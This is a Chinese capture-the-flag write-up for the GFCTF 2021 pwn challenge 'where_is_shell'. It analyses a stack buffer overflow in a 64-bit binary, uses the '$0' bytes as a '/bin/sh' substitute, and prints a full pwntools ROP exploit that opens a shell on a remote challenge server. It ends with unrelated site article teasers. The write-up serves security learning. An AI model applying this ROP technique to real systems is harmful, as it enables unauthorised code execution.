NSSCTF [GFCTF 2021]where_is_shell

889.[GFCTF 2021]where_is_shell(system($0)64位)

[GFCTF 2021]where_is_shell

(1)

1.準備
motaly@motaly-VMware-Virtual-Platform:~$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7475d68277d0c9c5d2060591d874af8a5ed0f8e9, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=shell
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   63 Symbols	  No	0		1		shell

就開了一個NX保護

2.ida分析
main函數
int __fastcall main(int argc, const char **argv, const char **envp)
{_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREFsystem("echo 'zltt lost his shell, can you find it?'");read(0, buf, 0x38uLL);return 0;
}

read最多讀取56(0x38),但buf大小為16,所以存在緩沖區溢出

tips函數(后門函數)
__int64 tips()
{return MEMORY[0x403569]();
}

這里ida暴紅,感覺這個地址或函數是有用的,不過一時間不知道有啥用
同時淺查了一下,這里是直接跳轉到內存地址0x403569執行代碼
總的這里
先看棧情況

-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
###### -0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
###### -0000000000000010
###### -0000000000000010     _BYTE buf[16];
###### +0000000000000000     _QWORD __saved_registers;
###### +0000000000000008     _UNKNOWN *__return_address;
###### +0000000000000010
###### +0000000000000010 // end of stack variables

得到偏移量為0x10+8
然后有system函數,但是沒找到'/bin/sh'等連接路徑
?


?


看了其他的wp發現了一個關鍵點在tips函數中那個地址的機械碼
?


24和30轉換成10進制ASCII碼$0

這里就涉及一個新的知識點:

/bin/sh?是執行腳本的解釋器

$0可以是shell腳本中的特殊變量,0表示當前腳本的名稱

在特定的一些情況下,$0可以起到'/bin/sh'的效果,但不是$0等于'/bin/sh'
這道題就是特定的情況

3.EXP
思路:

有了'/bin/sh'的替代$0和system,就是一個簡單的64位棧溢出system('/bin/sh')

1.我們可以先獲得system和$0的地址
2.然后64位里傳參需要寄存器和64位可能會涉及到堆棧平衡,所以需要一個寄存器和ret地址
3.最后構造ROP鏈,獲得連接
在ida中查看
?


得到system地址為0x400430
?


因為24前還有一字節E8,所以$0的地址是0x400540+1=0x400541
通過ROPgadget指令對寄存器和ret進行查找
?


選擇rdi寄存器,rdi地址為0x4005e3,ret地址為400416
最后構造ROP鏈

payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)

先是偏移量,然后為了堆棧平衡寫一個ret填充,再是寄存器和參數shell($0),最后返回地址system

(64位是先寫參數再寫返回地址,所以雖然我們要的是system+$0,但$0和寄存器在前面)

總的腳本如下
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28217)
# io= process('/home/motaly/shell')
system=0x400430
shell=0x400541
rdi=0x4005e3
ret=0x400416
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
io.sendlineafter(b'zltt lost his shell, can you find it?\n',payload)
io.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/79956.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/79956.shtml
英文地址,請注明出處:http://en.pswp.cn/web/79956.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

深度學習中的提示詞優化:梯度下降全解析

深度學習中的提示詞優化:梯度下降全解析 在您的代碼中,提示詞的更新方向是通過梯度下降算法確定的,這是深度學習中最基本的優化方法。 一、梯度下降與更新方向 1. 核心公式 對于可訓練參數 θ \theta θ(這里是提示詞嵌入向量),梯度下降的更新公式為:

win10電腦無法訪問局域網內其他共享電腦文件的問題

一、啟用本地計算機guest來賓賬戶 操作步驟 點擊桌面上的“此電腦”圖標,再點擊“管理” 在“計算機管理”界面依次點擊“系統工具”“本地用戶和組”“用戶” 再點擊右側的“Guest”,在彈出的對話框中點擊“屬性” 在“Guest屬性”界面取消勾選“賬戶已…

會計要素+借貸分錄+會計科目+賬戶,幾個銀行會計的重要概念

1.借貸分錄還是借貸分路 正確表述是“借貸分錄”。 “分錄”即會計分錄,它是指預先確定每筆經濟業務所涉及的賬戶名稱,以及計入賬戶的方向和金額的一種記錄,簡稱分錄。 在借貸記賬法下,會計分錄通過“借”和“貸”來表示記賬方向…

AI日報 · 2025年5月15日|GPT-4.1 登陸 ChatGPT

AI日報 2025年5月15日|GPT-4.1 登陸 ChatGPT 1、OpenAI 在 ChatGPT 全面開放 GPT-4.1 與 GPT-4.1 mini 北京時間 5 月 14 日晚,OpenAI 在官方 Release Notes 中宣布:專為復雜代碼與精細指令場景打造的 GPT-4.1 正式加入 ChatGPT&#xff0…

π0: A Vision-Language-Action Flow Model for General Robot Control

TL;DR 2024 年 Physical Intelligence 發布的 VLA 模型 π0,基于 transformer 流匹配(flow matching)架構,當前開源領域最強的 VLA 模型之一。 Paper name π0: A Vision-Language-Action Flow Model for General Robot Contr…

Java詳解LeetCode 熱題 100(17):LeetCode 41. 缺失的第一個正數(First Missing Positive)詳解

文章目錄 1. 題目描述2. 理解題目3. 解法一:排序法(不滿足題目要求)3.1 思路3.2 Java代碼實現3.3 代碼詳解3.4 復雜度分析3.5 不足之處 4. 解法二:哈希表法4.1 思路4.2 Java代碼實現4.3 代碼詳解4.4 復雜度分析4.5 不足之處 5. 解…

第九講 | 模板進階

模板進階 一、非類型模板參數1、模板參數的分類2、應用場景3、array4、注意 二、模板的特化1、概念2、函數模板特化3、類模板特化(1)、全特化:全部模板參數都特化成具體的類型(2)、偏/半特化:部分模板參數特…

機器學習——樸素貝葉斯練習題

一、 使用鳶尾花數據訓練多項式樸素貝葉斯模型,并評估模型 代碼展示: from sklearn.datasets import load_iris from sklearn.metrics import accuracy_score from sklearn.model_selection import train_test_split from sklearn.naive_bayes impor…

氣胸復查重點提問清單 ,怎樣平衡檢查必要性和輻射影響?

氣胸復查重點提問清單(打印版) 以下是帶孩子復查氣胸時建議與醫生溝通的重點問題,分為不同方面,可打印后隨身攜帶,逐項確認。 術后康復情況相關 1. 肺目前復張情況如何?胸片顯示肺是否已經完全展開&…

Linux相關概念和易錯知識點(40)(HTML資源交互、網頁管理、搜索引擎)

目錄 1.HTML資源交互 (1)媒體加載 (2)靜態頁面跳轉 (3)動態頁面 (4)GET和POST傳參的區別 2.網頁管理 (1)網頁的權限管理 (2)臨…

使用 QGIS 插件 OpenTopography DEM Downloader 下載高程數據(申請key教程)

使用 QGIS 插件 OpenTopography DEM Downloader 下載高程數據 目錄 使用 QGIS 插件 OpenTopography DEM Downloader 下載高程數據📌 簡介🛠 插件安裝方法🌍 下載 DEM 數據步驟🔑 注冊 OpenTopography 賬號(如使用 Cope…

【通知】2025元宇宙數字人設計大賽啟動,大賽線上報名階段開啟!

元宇宙數字人設計大賽火熱報名中!歡迎大家踴躍報名參與! 元宇宙數字人設計大賽報名活動正在如火如荼進行中,歡迎各位對元宇宙數字人感興趣的同學與老師踴躍參與報名! 元宇宙數字人設計大賽承接原大中華區VR盟主選拔賽&#xff0c…

Kaamel隱私合規洞察:Temu在韓被罰事件分析

Kaamel隱私合規與數據安全團隊分析報告 韓國個人信息保護委員會(PIPC)對中國電子商務巨頭Temu處以巨額罰款,原因是其嚴重違反了用戶數據保護法律 。核心違規行為包括未經適當披露或用戶同意非法跨境傳輸數據、未能指定當地代表、賬戶注銷流程…

查詢公網IP地址的方法:查看自己是不是公網ip,附內網穿透外網域名訪問方案

本地搭建服務并提供互聯網連接時,較為傳統的方法是使用公網IP地址。因此,如何查詢本地自己是不是公網IP,是必須要掌握的一種技巧。當面對確實無公網IP時,則可以通過內網穿透方案,如nat123網絡映射工具,將本…

Redis特性與應用

1、分布式緩存與redis 2、redis數據結構和客戶端集成 3、緩存讀寫模式與數據一致性 本地緩存:Hash Map、Ehcache、Caffeine、Google Guava 分布式緩存:Memcached、redis、Hazelcast、Apache ignite redis:基于鍵值對內存數據庫,支…

Top-p采樣:解鎖語言模型的創意之門

Top - p采樣 是什么:核采樣:排序,累計到0.7,隨機選擇 在自然語言生成和大規模語言模型推理中,Top - p采樣(又叫核采樣,Nucleus Sampling)是一種基于累積概率的采樣策略。 Top - p介…

Gitee DevSecOps:軍工軟件研發的智能化變革引擎

在數字化戰爭時代背景下,軍工軟件的研發效率與質量直接關乎國防建設進程。傳統軍工軟件開發面臨依賴管理混亂、版本變更失控、團隊協作低效等系統性難題,嚴重制約著"軟件工廠"理念的落地。Gitee DevSecOps平臺以智能版本管理為突破口&#xff…

芋道項目,商城模塊數據表結構

一、需求 最近公司有新的業務需求,調研了一下,決定使用芋道(yudao-cloud)框架,于是從github(https://github.com/YunaiV/yudao-cloud)上克隆項目,選用的是jdk17版本的。根據項目啟動手冊&#…

ES常識9:如何實現同義詞映射(搜索)

在 Elasticsearch(ES)中實現同義詞映射(如“美麗”和“漂亮”),核心是通過 同義詞過濾器(Synonym Token Filter) 在分詞階段將同義詞擴展或替換為統一詞項,從而讓搜索時輸入任意一個…

Web安全滲透測試基礎知識之SQL注入篇

一、SQL注入基礎理論 1.1 什么是SQL注入 SQL注入是一種常見的Web安全問題,攻擊者通過在Web應用程序的輸入字段中插入惡意的SQL語句,改變原本SQL查詢的邏輯,實現非法獲取數據、篡改數據、執行系統命令等操作。這種情況產生的根本原因在于應…